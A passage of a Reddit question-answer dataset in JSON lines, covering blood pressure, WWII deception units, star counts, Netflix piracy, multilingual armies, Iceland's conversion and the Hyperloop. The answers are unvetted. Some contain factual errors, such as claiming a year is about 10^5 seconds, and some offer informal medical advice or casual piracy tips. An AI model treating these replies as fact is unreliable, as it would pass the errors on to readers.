III expelling them from the country and pretty much giving the go-ahead for a bit of good old fashioned genocide across the country. Queen Elizabeth the first also banned Arabs and Blacks in about 1600, although I doubt they were all forced from the country as there were a good few thousand people of African descent living in London by this point. ", "Greece and Turkey had a war after WWI and after the borders where solidified in a treaty, 500,000 Muslims in Greece where relocated to Turkey, and over a million Christians/Greeks in Turkey where relocated to Greece. Many of the Greeks communities in Turkey had been there for thousands of years. Greece's population was only 6 million at the time so it was an incredibly difficult undertaking to settle that many people including land reforms and slums and quick, shoddy developments.\n\nAlso Spain deported the Jews in the late 1400s, many moved to the Ottoman Empire because it was tolerant of all people of the book (Muslims, Jews, Christians)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "ajh0mh", "title": "why is blood pressure important?", "selftext": "I notoriously have low blood pressure when I go to the doctors, and today they made a big deal because it was very low. I thought high blood pressure was bad. \n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajh0mh/eli5_why_is_blood_pressure_important/", "answers": {"a_id": ["eevg9un", "eevgs7y", "eevnkxv", "eevw9mo", "eew5fcy", "eewtlal"], "score": [27, 162, 4, 3, 2, 2], "text": ["Yes, high blood pressure is bad due to the strain it puts on your heart. But having abnormally low blood pressure may indicate different heart problems, as it's possible the valves of your heart aren't working quite properly and thus can't get blood flowing through you efficiently.", "Think of a hose, or pipes in your house leading to the shower.\n\nToo low pressure and the liquid inside has trouble getting to the end at a decent pace.  In your house/hose this would mean your shower just dribbles water.  In your body, your farther parts don't get the oxygen they need.\n\nToo high pressure and the pipes might burst, or your pump has to work too hard to push against the pressured liquid, and then the pump might stress and fail.  (In your body this is your veins/arteries and your heart)", "Think of your arteries like a garden hose. When a fluid is forced through a tube, that tube comes under pressure because some of the fluid exerts a pressure on the walls of a tube. For instance if you turn on a garden hose and pinch off the end, the whole hose swells slightly as the pressure rises, and the hose straightens out more. \n\nThis pressure stresses the artery walls and if it's too high, for too long, it can open up little cracks in the lining, like little tears. This gives arterial plaques, platelets, cholesterol, and other gunk a place to get a foot hold as it gets trapped in these cracks. This promotes even more gunk to pile up and eventually it starts to extend outwards into the artery, interrupting the flow, which can be deadly. \n\nHaving high blood pressure all of the time, is like that pinched hose permanently swelling up, eventually it's either going to burst, or it's going to be full of tears and other damage which reduce it's ability to function. \n\nBut having low blood pressure can also be dangerous. Your blood needs some pressure in order to make it up to your head. Blood has to fight gravity just like everything else, and your heart forces that blood not only to all of your limbs, but above the heart itself to your head and shoulders. If the pressure is too low, a person can suddenly lose consciousness and pass out. If this happens when they are crossing the street, or doing 70MPH on the freeway, it could cause their death. \n\nLow blood pressure can also be a sign that the heart is not working properly. If the heart is enlarged or the valves have a defect, it can reduce the effectiveness and cause blood to circulate poorly. ", "I have chronic low blood pressure too. Last checkup it was 98/56. Doctor told me to eat more salt and drink more water. I\u2019ve had low blood pressure my whole life and suffer from occasional dizzy spells. For me, it\u2019s genetic, all the women in my family have if. ", "As a physician, it is important that I know the normal baseline for the patient\u2019s blood pressure. Some person just have low BP with no ill effect and no discernible cause and is other wise healthy. That is just how some one is and we just advice the patient ti beware of changing posture to quickly and drinking enough water.\n\nPersonally, i fucking hate high blood pressure than (chronically and healthy) low.", "Low BP: The heart is a pump that relies on pressure to circulate blood. The terms \u201cpreload\u201d and \u201cafter load\u201d refer pressures within blood vessels that allow the  heart to distribute and receive new blood after each beat. If blood vessels are too wide in diameter or if blood volume is too low, there is not enough pressure in the system to force the blood in the direction you want it to go. This is why one of the most common symptoms of low blood pressure is dizziness/fainting. The pressure within your vessels allows the blood to travel up the neck (against gravity) and to the brain. If that pressure drops too much the brain detects a change in oxygen levels and will respond with a little \u201cshut down\u201d.\n\n\nHigh BP: If blood pressure is catastrophically high vessels can potentially rupture or \u201cburst\u201d. If this happens in the wrong area, the brain for example, the internal bleeding can cause things like a stroke. If blood pressure is just moderately high, this can damage the walls of your arteries and cause plaques to form. Plaques have the potential to cause heart attack and stroke if left to their own devices. If your interested in knowing more, Kahn academy has a great video on the subject. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.khanacademy.org/science/health-and-medicine/circulatory-system/modal/v/what-is-blood-pressure-1"]]}
{"q_id": "1dcfmh", "title": "American Ghost Army in WWII?", "selftext": "I recently read a news article concerning an american \"ghost army\", the 23rd Headquarters Special Troops, that would use inflatable fake tanks and such to deceive the German army. The article didn't go very in depth so, what I am wondering is, how did the idea come about? And did they suffer casualties? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1dcfmh/american_ghost_army_in_wwii/", "answers": {"a_id": ["c9ozz6k", "c9p51yo"], "score": [15, 4], "text": ["There is actually a [PBS documentory](_URL_0_) coming out on the 23rd this year - Starts on May 21st.  \n\nSimilar things had been used by the British prior in the war,  but as i remember it the 23rd was made up of [set designers](_URL_1_), (magician's?) and similar artists.  \n\n\nIt was a huge misdirection, not just the inflatable tanks and planes -  there were fake radio broadcasts - Patton was doing \"voice acting\" for them. Bell Labs had recorded audio of real machinery moving around letting the crew mix and use them as needed.  There were morse code messages being sent out. You name it they were doing it,  for all intents it was a real staging ground for a conjured up army. \n\n Using a movie as an example,  Imagine the something like the Sting going 24 / 7 with Hitler as the mark.\n\n", "Prior to D-Day, the Allies engaged in Operation Fortitude, which was a massive misdirection to confuse and/or trick German command as to the true location and date of the Allied Invasion of mainland Europe. Operation Fortitude was designed to trick the Germans into believing the inevitable Allied invasion would occur in either Norway, or at Pas De Calais (the place where the Channel was narrowest). The allies accomplished this by planting false intelligence, manufacturing radio traffic from non-existent units, and using inflatable/wood-framed tanks, airplanes etc. to deceive German spies and pilots (what few remained by 1944 after the Double-Cross anti-espionage system and the Battle of Britain). \n\nThe Operation was extremely successful, convincing German command that the attack would be at Pas De Calais to such a degree that many initially believed the Normandy Invasion to be a diversion for the \"real\" attack as Pas De Calais.\n\nStephen E. Ambrose and colleagues wrote a fascinating book on D-Day, by the same name. I would highly recommend it if you're interested in WWII. There is an extensive discussion about Operation Fortitude as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ghostarmy.org/", "http://www.philly.com/philly/news/20130429_Ghost_Army_of_inflatable_decoys_helped_WWII_effort.html"], []]}
{"q_id": "1zlf62", "title": "what actually happens when you cool a system that causes molecules to slow down", "selftext": "I know the molecules lose energy, but how? Does a fast molecule hit a slow molecule and both molecules leave the collision with a velocity in the middle. Do higher energy atoms give off infrared waves to attempt to reach an energy equilibrium with less energetic atoms? I'm interested in the mechanism for how energy is removed from the system.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zlf62/eli5_what_actually_happens_when_you_cool_a_system/", "answers": {"a_id": ["cfuoxb9", "cfuoxtw"], "score": [6, 3], "text": ["You can't add \"cold,\" you can only remove heat.\n\nHeat *is* molecular movement, and can be lost in a few ways.\n\n1) Collision.  The hot molecule hits another molecule and transfers much of its energy to the other one.\n\n2) Radiation.  The hot molecule emits a photon, sending the energy away at the speed of light.\n\n3) Reaction.  The system involves a chemical or physical change.  Thermal energy is used to overcome activation energy barriers and create new chemical bonds.  The energy is converted into stored chemical energy.", "Typically they would collide with other atoms and molecules, transferring part of their kinetic energy to them and out of the cooling system. They could also emit thermal radiation, and kicking off a photon has similar effects (photons are massless but have momentum, and that momentum comes from somewhere)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "22mc9f", "title": "how studios like the asylum can make movies that are obvious rip offs and still make money and avoid being sued?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22mc9f/eli5_how_studios_like_the_asylum_can_make_movies/", "answers": {"a_id": ["cgo7ri7", "cgo7wku", "cgoctlo"], "score": [2, 2, 2], "text": ["Are you talking about Hansel  &  Gretel, Warriors of Witchcraft vs Hansel  &  Gretel: Witch Hunters and the like?  If you've seen one of these Asylum movies you'd know they have nothing to do with the original movie except the title being similar.\n\nCompanies can sue if they feel their copyrights are being infringed through the creation of confusion in the marketplace and this has happened.  Asylum released a movie called Battleship**s** a few days before Battleship.  They were sued and changed it to American Battleships and then again to American Warships.  So they try and walk a fine and sometimes they do get busted.\n\nAs a side note, Battleships is a better movie than Battleship.", "They know exactly how much ripping off they can do before it becomes illegal. Copyright isn't a black and white thing. The key isn't really how similar the two products are, but how different they are. As long as The Asylum can make its products different enough that they can reasonably claim it as an original product, they're fine, legally speaking. \n\nThink of it like store brand products: anybody can make aspirin, but you can't use the same formula or have the same packaging as a trademarked brand like Bayer or Tylenol.", "A better question is: how the hell do they find the money and market to keep making shitty movies?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "14qvby", "title": "What number is bigger; the total amount of stars that have ever existed, or the total amount of snowflakes that has fallen on earth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14qvby/what_number_is_bigger_the_total_amount_of_stars/", "answers": {"a_id": ["c7fl6vs", "c7fl997", "c7flgt0", "c7fq59v"], "score": [73, 2, 9, 5], "text": ["Estimates on the number of stars in the observable universe vary, but 3 x 10^23 is one estimate, as you stated.  Because the average star has about half the mass of our sun, an average star lifetime is about 50 billion years.  The universe is thought to be less than 14 billion years old, so we con conclude that the number of stars that have ever existed is within an order of magnitude of the figure you suggested.\n\nEstimates of the number of snowflakes that have fallen on Earth have been calculated around 10^40 . (_URL_0_ , p. 288)\n\nBased on this, there have been more snowflakes on Earth than stars in the universe, with a healthy margin for error.\n\n", "The snowflakes part has to be estimated; there's no other way. I found a few different results by googling (mostly from people asking the question if two snowflakes could be alike), but all were greater than 10^23 , so I agree with spthirtythree. \n\nFor example: _URL_0_ cites 10^30", "A year is about 10^5 seconds and the surface area of Earth is about 5\u00d710^(20) mm^(2).  10^(23) is a valid magnitude for total number of stars to have ever existed in the observable universe.\n\nClearly from that the answer is more snowflakes so I agree with the others.  Let's say \"snowing\" equals one snowflake per mm^2 per second.  That means if it is snowing at 1/100 of the locations on Earth at any time it would only take a year to provide enough snowflakes to equal the stars.", "I'm going to go against the grain. \n\nThe observable universe has about 3 x 10^23 stars.\n\n In Canada it's estimated that 240 Quadrillion (2.4 x 10^15) snowflakes fall per year. Canada cover 2% of the Earth, and the earth had had weather for about 1.2 billion years. So about 1.44 x 10 24 snowflakes have fallen on Earth.\n\n 3 x 10^23 stars VS 1.44 x 10^24 snowflakes, but that's just the observable universe, I don't think we can even see 1% of it yet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.easternsnow.org/proceedings/2006/pilipski_and_pilipski.pdf"], ["http://boards.straightdope.com/sdmb/showthread.php?t=444705"], [], []]}
{"q_id": "52ggfg", "title": "Why does tilting a laptop screen increase the contrast and make finer details easier to see?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/52ggfg/why_does_tilting_a_laptop_screen_increase_the/", "answers": {"a_id": ["d7kofc8", "d7kql5q"], "score": [3, 6], "text": ["What I think you are describing applies to [TN panels](_URL_0_), which are one of two common screen types for computers.  Typically, TN panels suffer from a limited viewing angle and viewing the screen from a wider angle typically causes a color shift (Generally more extreme with a vertical shift than horizontal).\n\nIt's worth noting that in the case of IPS panels, the viewing angle is wider and you would likely not notice a color shift.", "There are many layers of filters on TN panels - there's an optimum viewing angle where the filters all line up correctly and you get the picture you expect. Tilting away from this throws the filters out of line, with the filter alignment changing the more you tilt the screen.\n\nSome \"non-optimal\" positions will cause the filters to line up in such a way that the contrast seems increased (in reality, it's likely that, for example, you're just getting Blue and Red light and the Green filter is blocked completely, giving the effect of heightened contrast).\n\nThis is also why if you tilt a cheap laptop screen by more than 30 degrees you'll sometimes lose the picture entirely - the depth of the filters means all the light from each pixel is blocked out by the filter side walls.\n\n[Video describing LCD screens here](_URL_0_).\n\nMore expensive LCD screens have thinner filters with better resolution, so the tilt effect is less pronounced."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Thin-film-transistor_liquid-crystal_display#Twisted_nematic_.28TN.29"], ["https://www.youtube.com/watch?v=jiejNAUwcQ8"]]}
{"q_id": "40kuht", "title": "...if aliens put a satellite into earth orbit to observe us, would we even notice with all the other satellites up there?", "selftext": "Topic.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/40kuht/eli5if_aliens_put_a_satellite_into_earth_orbit_to/", "answers": {"a_id": ["cyuy7b2", "cyuzq4b", "cyv0z68", "cyv5lg5", "cyv7ohw", "cyv8ugt"], "score": [7, 23, 154, 2, 5, 3], "text": ["Quite likely, yes--the space agencies of the world do their best to keep track of all satellites of earth, and in the long run a mysterious extra would be noticed and investigated if no explanation was apparent. If we're talking about interstellar travel, though, perhaps they could make a satellite too small to easily observe from earth.", "An alien that has the ability to reach the earth's orbit from a different star system and that wants to spy on us probably has amazing technology like cloaking and micro-miniaturization, and possibly even anti-gravity.  \n\nIf they wanted to, odds would be good that they'd find a way, be it invisible microscopic satellites or probes on the surface, to watch up without us knowing.", "Yes. Astronomers carefully track all sattelites - as do some world governments. Even space junk is tracked. \n\nAstronomers need to know where sattelites and debris are so it does not interfere with looking at stars. \n\nGovernments want to know where spy sattelites are and who is looking at what. \n\nNASA and other space agency's track space junk and sattelites so stuff they launch into space does not collide with it. \n\n\nSo, things orbiting our planet are carefully examined. ", "you mean in our orbit? we would notice very fast. we track all the sattalites and space junk that is certain size live and sattalites have thursters so we can move them of each other way if they are heading for colicion.\n\n_URL_0_ here is live map.", "Like the Black Knight satellite?", "the best thing to do would be to replace pieces of \"space junk\" with their satellites so no one would notice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://stuffin.space/"], [], []]}
{"q_id": "1jzgav", "title": "why doesn't canada get the same music services as the states?", "selftext": "Why doesn't Canada have access to music services like Spotify, Pandora, and Google music? The States has them, and even some European countries now. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jzgav/eli5_why_doesnt_canada_get_the_same_music/", "answers": {"a_id": ["cbjsmjz", "cbjtwfa"], "score": [3, 2], "text": ["The station might have agreements for label branches in the US but not branches in other countries for whatever reason.", "It comes down to licensing issues.\n\nIn countries like the US, there is typically a universal licensing body (e.g. [SoundExchange](_URL_0_)) which is granted the exclusive right to collect and distribute royalty payments from online music services (e.g. Pandora, Spotify etc.) on behalf of artists and copyright-holders (the artists/copyright-holders register with the licensing body and receive a percentage of the royalty payments when music services stream their music).\n\nThis means that it's relatively simple for companies to start an online music service and obtain a blanket license to stream all commercial music, so long as they agree to pay the appropriate royalty fees to the licensing body (as mentioned above). This is a very practical solution and doesn't require the online music service to individually negotiate with different artists and publishers to get the rights to stream individual music tracks.\n\nIn Canada, however, it is my understanding that no such blanket licensing body exists yet for such online music services. This means, that these services may be required to negotiate individual licensing agreements with music artists and publishers which can be incredibly difficult and would severely limit the music selection available. I believe there have been talks about setting-up a licensing body to deal with this issue (as other countries have done), but I don't think there has been complete progress yet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.soundexchange.com/"]]}
{"q_id": "63zpq2", "title": "how do streaming websites like netflix etc. protect their videos from downloading?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63zpq2/eli5how_do_streaming_websites_like_netflix_etc/", "answers": {"a_id": ["dfy88ha", "dfyb201", "dfyf39o", "dfyhlmj", "dfyicf0", "dfyq5cl", "dfysujy", "dfyz2iz"], "score": [107, 210, 16, 3, 5, 4, 5, 3], "text": ["Rather than sending the whole video as one continuous UDP procession, you can instead split it into HTTP packets and send it.\n\nThese packets can then contain cookie-specific information that only correctly parse data for the current web client, so copying and pasting the video address into another browser won't work because it lacks the same cookies (or that cookie is already in use).\n\nMost browsers worth their salt let you jump around this though, by holding a record of all packets that were recieved and letting you save them externally.\n\nEdit: I should also add, [don't use Netflix/Chrome if you value an open internet](_URL_0_)", "The monthly subscription price is cheaper than buying the hard drives necessary to save the shows you might download.\n\nPeople don't want to pirate content, its just that when someone wants to charge an unfair price for it, or tie it down with all sorts of BS use restrictions, people will.  Netflix proves that if you ask people to pay a reasonable sum for content and provide it in a nice, easy, manner, you don't have to worry about piracy.\n\nEdit:  Seeing some of the reply comments I really think you can't read my comment without also reading /u/tomatoaway 's comment (and I would like to think vice versa as well).", "It's not a simple video file that you would download from a torrent or through P2P.\n\nIt's an adaptive stream using what's probably a proprietary format. Meaning, if your connection slows down, the quality will adapt and look blurry. If your connection is fast, the quality will get better.\n\nMost offline video players support something called variable bitrate (VBR) but it's not quite the same thing.\n\nThat isn't really the issue though because if people wanted to get around that and save the videos they could. But the point is that it's not worth the effort when the subscription is so cheap and they can watch the shows immediately when they're released.\n\nWith that said, people *do* download Netflix shows from torrents so it does happen. Also, I believe Netflix started allowing offline viewing not too long ago so that probably makes it easier.\n\nAnother important point that makes it more difficult is that Netflix doesn't download the whole movie. If you pause the stream, it will only buffer so much ahead of where you are. This also allows it to pick up where you left off if your computer crashes. So there is a constant communication between your browser and Netflix that makes downloading videos a bit more tricky than they otherwise would be.", "\nThey don't not really well they do take some steps but it's annoying to pirates than anything else. Worse case scenario is people would just record the video right off their screens if need be to pirate the video. You don't even need to go that far though because there are ways to grab that data straight from a web browser. Thing is that Netflix is convenient and cheap enough that most people don't bother with that usually and the ones that do wouldn't have paid for the service anyway. They even actually added the ability recently to download stuff for viewing offline to even further the convenience aspect. ", "There are always ways around it. It is difficult to download it as a file, but you can get a program to record the screen while it is playing and save that recording. I remember when I was big into downloading and got some music, but it was DRM protected so I could not copy it to another device or burn it to a disc. So I got a program that plays and records a new file and that was a good way around that.", "They don't really, its trivial to capture the stream and save it to disk.\n\nBut, you don't really gain anything from doing this, as you can watch whatever you want, whenever, so all you do is fill your harkdisk with files you don't need.\n\nIf you wanted to, you could pirate them from other sources anyway, so they just make it slightly trickier than doing that. No point making it any more secure.", "While I don't know about the Netflix specifics, I worked in a similar system 6-7 years ago for a music streaming service. I was responsible for this area.\n\nWhile I can't go into details, up to now, we still haven't found anyone that 'cracked' the system. The only way to 'download' the music from that system is by recording the audio output in realtime. I developed a real-time encryption server that encrypted the music as it was being sent, and was based on several variables and independent of each user. We also had the audio data encrypted in a different format in memory and only decrypt it in small blocks (again based on several variables) when sending it to the audio device.\n\nI was approached by both Spotify and Netflix due to this project but ended up refusing as I knew part of what they wanted was the algorithms I developed and they were at the time property of the company that employed me.", "Pirate here. Been doing it for almost 10 years from sites like PirateBay, Demonoid, Kickass and even Mininova (back when it was good). Netflix really can't protect their stuff from being downloaded fully. They can protect it from things like Extensions on Google Chrome (like video downloader professional) but if someone has recording software, like Bandicam, and uploads it on a website? then it can be downloaded of course but the quality isn't that great. However most people don't download Netflix original content (house of Cards, Daredevil..) because the membership fee is so cheap, maybe something like The Walking Dead because it doesn't hit Netflix til later in the year after it finishes off the season on AMC.\n\nPersonally I don't see a point in pirating Netflix original shows because of how cheap it is and there are even shows and documentaries that are old enough that you'd be hard pressed to find on any pirating website. The only people who do are those who're tight for cash or live in countries where Netflix isn't available or the show itself is not available on Netflix in their region. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://stallman.org/netflix.html"], [], [], [], [], [], [], []]}
{"q_id": "u6pkx", "title": "how do eyes filter out dust and grime?", "selftext": "Today I was working and I kept getting dirt and stuff in my eye after a few seconds of blinking it went away then I wondered how the eye does this so yeah how do eyes filter out dust and grime?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/u6pkx/eli5_how_do_eyes_filter_out_dust_and_grime/", "answers": {"a_id": ["c4ss1as"], "score": [2], "text": ["Adjust yo' peepers to [this here video](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=gvozcv8pS3c&amp;feature=player_detailpage#t=83s"]]}
{"q_id": "4bw9tg", "title": "how do armed forces work in multilingual countries?", "selftext": "Countries such as Belgium, Switzerland or Canada are strongly multilingual. How do armed forces work in such countries? Do all soldiers need to understand both languages? What languages are used in day-to-day life? Or are regiments split up by language (and wouldn't that cause national disunity)?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4bw9tg/eli5_how_do_armed_forces_work_in_multilingual/", "answers": {"a_id": ["d1cxxcb", "d1cy5cj", "d1cymf4", "d1cyvng", "d1d179s", "d1d88sw", "d1dd2jh", "d1dd9xq", "d1ddwbp", "d1dng9d"], "score": [39, 4, 12, 4, 2, 4, 2, 3, 10, 4], "text": ["In canada we have a full french regiment.   They are stationed outnor quebec and called the vent doos, the anglicized pronounciation of the royal 22nd regiment. The rest is open to bilingual members but English is only used. Day to day operations for the vent doos are in french while the other regiments are in English. \n\nTo edit this, we are already kind of split across the language barrier so it's not a big deal. I also don't think most Anglo Canadians even know about the vent doos.", "There was a similar post in /r/switzerland once: [Question about the language barrier in the Swiss Army](_URL_0_)", "In India, which is very very multilingual, the officers are trained in English and Hindi (the ~national~ official language). \n\nDuring training and later in your regiment the national language (Hindi) and English are emphasized. So slowly people pick up basic conversations. ", "The militaries get together and decide on an operational language or sometimes more than one. NATOs operational languages are English and French. Language classes are provided to troops stationed together. Every american troop for example speaks English and a huge number of European military personnel are bilingual or even trilingual.  For certain activities like aviation, international agreements also set language interactions. So for example, the international language for air traffic control is english. Further, individual operations will establish a language preference before any interactions start. So imagine a big breifing with a bunch of officers all hearing about operation: Send Hugs to Syria one of the topics will be \"and for this operation, the operational language will be _______\" It all kinda works out. ", "There is no country more multilingual than India. Regiments usually have soldiers from all languages. These soldiers act as interpreters. Though India does not have a official language, or a national language of communication , most people understand hindi or english. Language has never been a barrier for us to communicate.", "In some countries such as Pakistan or Afghanistan, they use both interchangeably. I speak Pashto, and sometimes when I'm listening to military members speak, one person will use Pashto and someone will respond in Dari or Urdu, in which case I wont know what they're saying.", "Generally even in the multilingual environment, one language is more used than the other. Also, there's a difference between multilingual and bilingual countries. \n\nBilingual countries typically converse in one language with one small section that might exclusively speak in the second language but publish all their documents in both languages. ", "In Switzerland you have regiments seperated by language if possible. If that is not possible it can get quite chaotic because the french speakers dont like to talk german and vice versa. I was in a mixed regiment and our leadership was german speaking which was not always easy for the french speaking soldiers because the couldnt understand orders all the time. In a lot of cases we just speak english with each other because most people speak better english than the second swiss language they learn in school.", "I'm an officer in the Swiss army. We have conscription and 3 major languages in Switzerland, so naturally many people from all regions will end up in the military. So how does it work?\n\nFirst of all you have different recruitment centers for different regions, so the people there will understand you. Then you most likely will be sent to a barracks in your language region, but this isn't always possible, if you end up in the German speaking part as a Welsh guy, then there will most likely be a French speaking platoon you'll be assigned to. \n\nObviously you will have to interact with your German speaking comrades, but most people here are able to speak one of the other languages at least somewhat decently. The barracks commander and other high ranking staff are also mostly bilingual. \n\nSo all in all, we take the different languages into consideration when assigning people but the soldiers are also able to make it work themselves.\n", "The short answer they work messy. The long answer is all officers should be able to speak at least two languages, or have someone to translate the orders for them. And like you wrote the platoons are split into languages. In my case ( I am Swiss from the German speaking part and was in the Swiss Army) I did the translations for our French speaking soldiers in our \"Zug\" a Zug in Switzerland is around 30-60 Men. This worked for our French speaking soldiers but we had also an Italian speaking Tank driver... We had translators in our HQ but since some orders needed to be followed on the spot, like stop the fucking tank! Slope!!! You get the picture. At the end you  somehow find a way to communicate. English is also very handy.  Just never be the Idiot admitting that you speak more than one language... For the national disunity let's just say we joke and make bad comments about the other language parts of the country but if somebody would be stupid enough to attack we would fight to hell and back for every part of the country.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/Switzerland/comments/49suzh/question_about_the_language_barrier_in_the_swiss/"], [], [], [], [], [], [], [], []]}
{"q_id": "8virnp", "title": "The traditional account of the Christianization of Iceland in AD 1000 depicts an unusually peaceful and straightforward process. Is there any controversy surrounding this narrative? How much is known about the actual details of the conversion?", "selftext": "I was recently lucky enough to spend a few days in Iceland, and among other places, I spent some time at the National Museum and the \u00deingvellir historic site. At both places there were plaques/exhibits describing the traditional account of the adoption of Christianity, which I found (and which the exhibits themselves acknowledged) to be very unusual.\n\nTo give the very, very short version, Iceland in AD 1000 was said to be divided between Christian and pagan tribes, until at that year's Al\u00feing it was decided by the (pagan) lawspeaker that the whole country should follow one religion and one set of laws, and that therefore Christianity should be adopted. With the caveats that pagan gods could still be worshipped in secret, and that the pagan practices of eating horsemeat and exposing newborns (!) would be allowed to continue, the various chieftains accepted the proposal, and Christianity was officially adopted peacefully.\n\nAt the National Museum, it was acknowledged that the story is very unusual amongst the accounts of the Christianization of other nations, and one exhibit even seemed to suggest it may not be accurate, but no alternative accounts were provided. \n\nHow much is known by historians about how the Christianization of Iceland actually played out, both before and after the Al\u00feing of 1000? Do we know, assuming that the pronouncement at the Al\u00feing did happen, how it was enacted at local levels? Has there been any challenge raised against the narrative of the peaceful and consensus-based conversion?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8virnp/the_traditional_account_of_the_christianization/", "answers": {"a_id": ["e1pxt4l"], "score": [3], "text": [" >  How much is known by historians about how the Christianization of Iceland actually played out, both before and after the Al\u00feing of 1000?\n    \nThe primary sources on this are \u00cdslendingab\u00f3k (1122-1133) and Kristni Saga (early 13th century). \u00cdslendingab\u00f3k is a brief historical transcript of Iceland, and the author, Ari \u00deorgilsson, did attempt to reliably document what was known of Icelandic history at the time, of which Christianization is a big part.\n\nHis version of the events match with what you describe. It was a relatively political decision and made with a very clear goal in mind, to keep the peace.\n\n >  \u201eEn n\u00fa \u00feykkir m\u00e9r \u00feat r\u00e1\u00f0,\u201c kva\u00f0 hann, \u201eat v\u00e9r l\u00e1tim ok eigi \u00fe\u00e1 r\u00e1\u00f0a, er mest vilja \u00ed gegn gangast, ok mi\u00f0lum sv\u00e1 m\u00e1l \u00e1 milli \u00feeira, at hv\u00e1rirtveggju hafi nakkvat s\u00edns m\u00e1ls, ok h\u00f6fum allir ein l\u00f6g ok einn si\u00f0. \u00deat mun ver\u00f0a satt, er v\u00e9r sl\u00edtum \u00ed sundr l\u00f6gin, at v\u00e9r munum sl\u00edta ok fri\u00f0inn.\n\nThe above passage, directly attribute to \u00deorgeir Lj\u00f3svetningago\u00f0i \u00deorkelsson, the lawspeaker at the time, clearly shows the intention behind the directive.\n\nA loose translation would be \"I think it would be wise\", he said \"That we don't let those who disagree the most rule, but instead compromise between them, so both sides have their way, to an extent, and we all have one law and one religion. It will come to pass that if we break the law in two, we will also break our peace.\"\n\nThis does not mean that there was no violence or dissatisfaction related to the shift in religion. Kristni Saga details killings related to missionaries in Iceland, and the King of Norway had arrested pagan Icelanders abroad. It's also important to note that \u00deorgeir is clearly aware of the possibility that peace will break down if things don't get mediated, so it's not difficult to infer that while there was no outright warfare, there was definitely disagreement and tension in the society.\n\nAdditionally there was international political pressure. Both directly from the King of Norway, and through trade with Europe.\n\n >  Do we know, assuming that the pronouncement at the Al\u00feing did happen, how it was enacted at local levels?\n\nI actually don't really know about enforcement. In the next century the infrastructure of Christianity, churches and clergy was slowly created and built up.\n\n >  Has there been any challenge raised against the narrative of the peaceful and consensus-based conversion?\n\nWell, yes, but you're misunderstanding the narrative if you think the process was entirely peaceful and consesus based. It was a political decision take to avoid outright civil war, but there is a lot of grey area between civil war and an entirely peaceful process. It is widely accepted there was significant tension between the factions.\n\nMultiple sources also indicate that \u00deorgeir was bribed in order for him to make the decision to embrace Christianity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4rpjhz", "title": "what is it about hyperloop that's bringing in serious investors? pneumatic technology has been around forever and so has the idea of traveling in tubes.", "selftext": "Tube transportation is one of the oldest ideas in science fiction and engineering. Pneumatic tubes have been in use since 1855 and you can still find them in some Costcos. So what is so new and brilliant about Hyperloop that is getting legitimate scientists and now Russia on board to develop it when the technology and idea has already been around for so long?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4rpjhz/eli5_what_is_it_about_hyperloop_thats_bringing_in/", "answers": {"a_id": ["d5307ec", "d533ukr"], "score": [7, 4], "text": ["The hyperloop isnt a pneumatic tube. Its a tube void of air.\n\nThe train car propels itself via tracks. It is not propelled by pneumatics. Its just more effecient because there is no air in the tube and thus no air resistance.", "The idea of the hyperloop is to use sealed tubes, possibly covered in solar panels, and then lower the pressure in the tubes to reduce air friction. No vacuum means that leaks aren't debilitating to the system. They can be patched up without shutting down the system.\n\nThe cars themselves use electromagnets in order to accelerate through the tubes, as well as potentially having wireless power transmission that allows the cars to be powered by the tube itself. The cars may also have blowers that intake air on the front and blow it out the sides to reduce friction.\n\nSo why now? Well, advances in solar technology, electromagnetics, batteries, lightweight materials, and electric motors means that it might actually be feasible from a practicality standpoint. From a political standpoint, it's a potentially green technology that could reduce emissions by taking vehicles off the roads."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
